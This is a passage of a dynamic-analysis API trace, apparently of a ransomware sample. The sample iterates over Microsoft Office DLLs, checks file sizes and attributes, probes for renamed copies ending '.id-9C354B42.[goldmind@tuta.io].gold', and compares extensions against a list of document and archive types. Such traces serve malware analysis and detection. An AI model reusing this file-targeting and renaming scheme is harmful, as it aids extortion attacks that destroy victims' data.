dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.065] lstrlenW (lpString=".doc") returned 4 [0110.065] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.065] lstrlenW (lpString=".docx") returned 5 [0110.065] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0110.065] lstrlenW (lpString=".pdf") returned 4 [0110.065] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.065] lstrlenW (lpString=".xls") returned 4 [0110.065] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.065] lstrlenW (lpString=".xlsx") returned 5 [0110.065] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0110.065] lstrlenW (lpString=".ppt") returned 4 [0110.065] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".zip") returned 4 [0110.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString=".rar") returned 4 [0110.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString=".bz2") returned 4 [0110.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.066] lstrlenW (lpString=".7z") returned 3 [0110.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".dbf") returned 4 [0110.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".1cd") returned 4 [0110.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".jpg") returned 4 [0110.066] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".doc") returned 4 [0110.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString=".docx") returned 5 [0110.066] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0110.066] lstrlenW (lpString=".pdf") returned 4 [0110.066] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString=".xls") returned 4 [0110.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString=".xlsx") returned 5 [0110.066] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0110.066] lstrlenW (lpString=".ppt") returned 4 [0110.066] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".zip") returned 4 [0110.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString=".rar") returned 4 [0110.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.066] lstrlenW (lpString=".bz2") returned 4 [0110.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.066] lstrlenW (lpString=".7z") returned 3 [0110.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".dbf") returned 4 [0110.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".1cd") returned 4 [0110.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0110.066] lstrlenW (lpString=".jpg") returned 4 [0110.066] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.066] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.067] lstrlenW (lpString="BCSProxy.dll") returned 12 [0110.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.067] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=137600) returned 1 [0110.067] CloseHandle (hObject=0x3b4) returned 1 [0110.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll")) returned 0x20 [0110.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString=".doc") returned 4 [0110.068] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".docx") returned 5 [0110.068] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0110.068] lstrlenW (lpString=".pdf") returned 4 [0110.068] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".xls") returned 4 [0110.068] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".xlsx") returned 5 [0110.068] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0110.068] lstrlenW (lpString=".ppt") returned 4 [0110.068] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString=".zip") returned 4 [0110.068] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".rar") returned 4 [0110.068] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".bz2") returned 4 [0110.068] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.068] lstrlenW (lpString=".7z") returned 3 [0110.068] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString=".dbf") returned 4 [0110.068] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString=".1cd") returned 4 [0110.068] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString=".jpg") returned 4 [0110.068] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString=".doc") returned 4 [0110.068] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".docx") returned 5 [0110.068] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0110.068] lstrlenW (lpString=".pdf") returned 4 [0110.068] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".xls") returned 4 [0110.068] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".xlsx") returned 5 [0110.068] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0110.068] lstrlenW (lpString=".ppt") returned 4 [0110.068] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.068] lstrlenW (lpString=".zip") returned 4 [0110.068] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".rar") returned 4 [0110.068] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.068] lstrlenW (lpString=".bz2") returned 4 [0110.068] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.068] lstrlenW (lpString=".7z") returned 3 [0110.068] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.069] lstrlenW (lpString=".dbf") returned 4 [0110.069] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.069] lstrlenW (lpString=".1cd") returned 4 [0110.069] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0110.069] lstrlenW (lpString=".jpg") returned 4 [0110.069] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.069] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.069] lstrlenW (lpString="BCSRuntime.dll") returned 14 [0110.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.069] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=613760) returned 1 [0110.069] CloseHandle (hObject=0x3b4) returned 1 [0110.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll")) returned 0x20 [0110.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString=".doc") returned 4 [0110.070] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString=".docx") returned 5 [0110.070] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0110.070] lstrlenW (lpString=".pdf") returned 4 [0110.070] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString=".xls") returned 4 [0110.070] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString=".xlsx") returned 5 [0110.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0110.070] lstrlenW (lpString=".ppt") returned 4 [0110.070] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString=".zip") returned 4 [0110.070] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString=".rar") returned 4 [0110.070] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString=".bz2") returned 4 [0110.070] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.070] lstrlenW (lpString=".7z") returned 3 [0110.070] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString=".dbf") returned 4 [0110.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString=".1cd") returned 4 [0110.070] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString=".jpg") returned 4 [0110.070] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.070] lstrlenW (lpString=".doc") returned 4 [0110.070] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.070] lstrlenW (lpString=".docx") returned 5 [0110.070] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0110.070] lstrlenW (lpString=".pdf") returned 4 [0110.071] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.071] lstrlenW (lpString=".xls") returned 4 [0110.071] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.071] lstrlenW (lpString=".xlsx") returned 5 [0110.071] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0110.071] lstrlenW (lpString=".ppt") returned 4 [0110.071] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.071] lstrlenW (lpString=".zip") returned 4 [0110.071] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.071] lstrlenW (lpString=".rar") returned 4 [0110.071] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.071] lstrlenW (lpString=".bz2") returned 4 [0110.071] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.071] lstrlenW (lpString=".7z") returned 3 [0110.071] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.071] lstrlenW (lpString=".dbf") returned 4 [0110.071] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.071] lstrlenW (lpString=".1cd") returned 4 [0110.071] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0110.071] lstrlenW (lpString=".jpg") returned 4 [0110.071] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.071] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.071] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16 [0110.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.072] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=14208) returned 1 [0110.072] CloseHandle (hObject=0x3b4) returned 1 [0110.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll")) returned 0x20 [0110.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.072] lstrlenW (lpString=".doc") returned 4 [0110.072] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.072] lstrlenW (lpString=".docx") returned 5 [0110.072] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0110.072] lstrlenW (lpString=".pdf") returned 4 [0110.072] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.072] lstrlenW (lpString=".xls") returned 4 [0110.072] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.072] lstrlenW (lpString=".xlsx") returned 5 [0110.072] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0110.072] lstrlenW (lpString=".ppt") returned 4 [0110.072] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.072] lstrlenW (lpString=".zip") returned 4 [0110.072] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.072] lstrlenW (lpString=".rar") returned 4 [0110.072] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.072] lstrlenW (lpString=".bz2") returned 4 [0110.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.073] lstrlenW (lpString=".7z") returned 3 [0110.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".dbf") returned 4 [0110.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".1cd") returned 4 [0110.073] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".jpg") returned 4 [0110.073] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".doc") returned 4 [0110.073] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.073] lstrlenW (lpString=".docx") returned 5 [0110.073] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0110.073] lstrlenW (lpString=".pdf") returned 4 [0110.073] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.073] lstrlenW (lpString=".xls") returned 4 [0110.073] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.073] lstrlenW (lpString=".xlsx") returned 5 [0110.073] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0110.073] lstrlenW (lpString=".ppt") returned 4 [0110.073] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".zip") returned 4 [0110.073] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.073] lstrlenW (lpString=".rar") returned 4 [0110.073] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.073] lstrlenW (lpString=".bz2") returned 4 [0110.073] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.073] lstrlenW (lpString=".7z") returned 3 [0110.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".dbf") returned 4 [0110.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".1cd") returned 4 [0110.073] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0110.073] lstrlenW (lpString=".jpg") returned 4 [0110.073] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.073] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.073] lstrlenW (lpString="BCSStr32.dll") returned 12 [0110.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.074] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=167808) returned 1 [0110.074] CloseHandle (hObject=0x3b4) returned 1 [0110.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll")) returned 0x20 [0110.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString=".doc") returned 4 [0110.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.075] lstrlenW (lpString=".docx") returned 5 [0110.075] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0110.075] lstrlenW (lpString=".pdf") returned 4 [0110.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.075] lstrlenW (lpString=".xls") returned 4 [0110.075] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.075] lstrlenW (lpString=".xlsx") returned 5 [0110.075] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0110.075] lstrlenW (lpString=".ppt") returned 4 [0110.075] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString=".zip") returned 4 [0110.075] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.075] lstrlenW (lpString=".rar") returned 4 [0110.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.075] lstrlenW (lpString=".bz2") returned 4 [0110.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.075] lstrlenW (lpString=".7z") returned 3 [0110.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString=".dbf") returned 4 [0110.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString=".1cd") returned 4 [0110.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString=".jpg") returned 4 [0110.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.075] lstrlenW (lpString=".doc") returned 4 [0110.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.076] lstrlenW (lpString=".docx") returned 5 [0110.076] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0110.076] lstrlenW (lpString=".pdf") returned 4 [0110.076] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.076] lstrlenW (lpString=".xls") returned 4 [0110.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.076] lstrlenW (lpString=".xlsx") returned 5 [0110.076] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0110.076] lstrlenW (lpString=".ppt") returned 4 [0110.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.076] lstrlenW (lpString=".zip") returned 4 [0110.076] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.076] lstrlenW (lpString=".rar") returned 4 [0110.076] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.076] lstrlenW (lpString=".bz2") returned 4 [0110.076] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.076] lstrlenW (lpString=".7z") returned 3 [0110.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.076] lstrlenW (lpString=".dbf") returned 4 [0110.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0110.076] lstrlenW 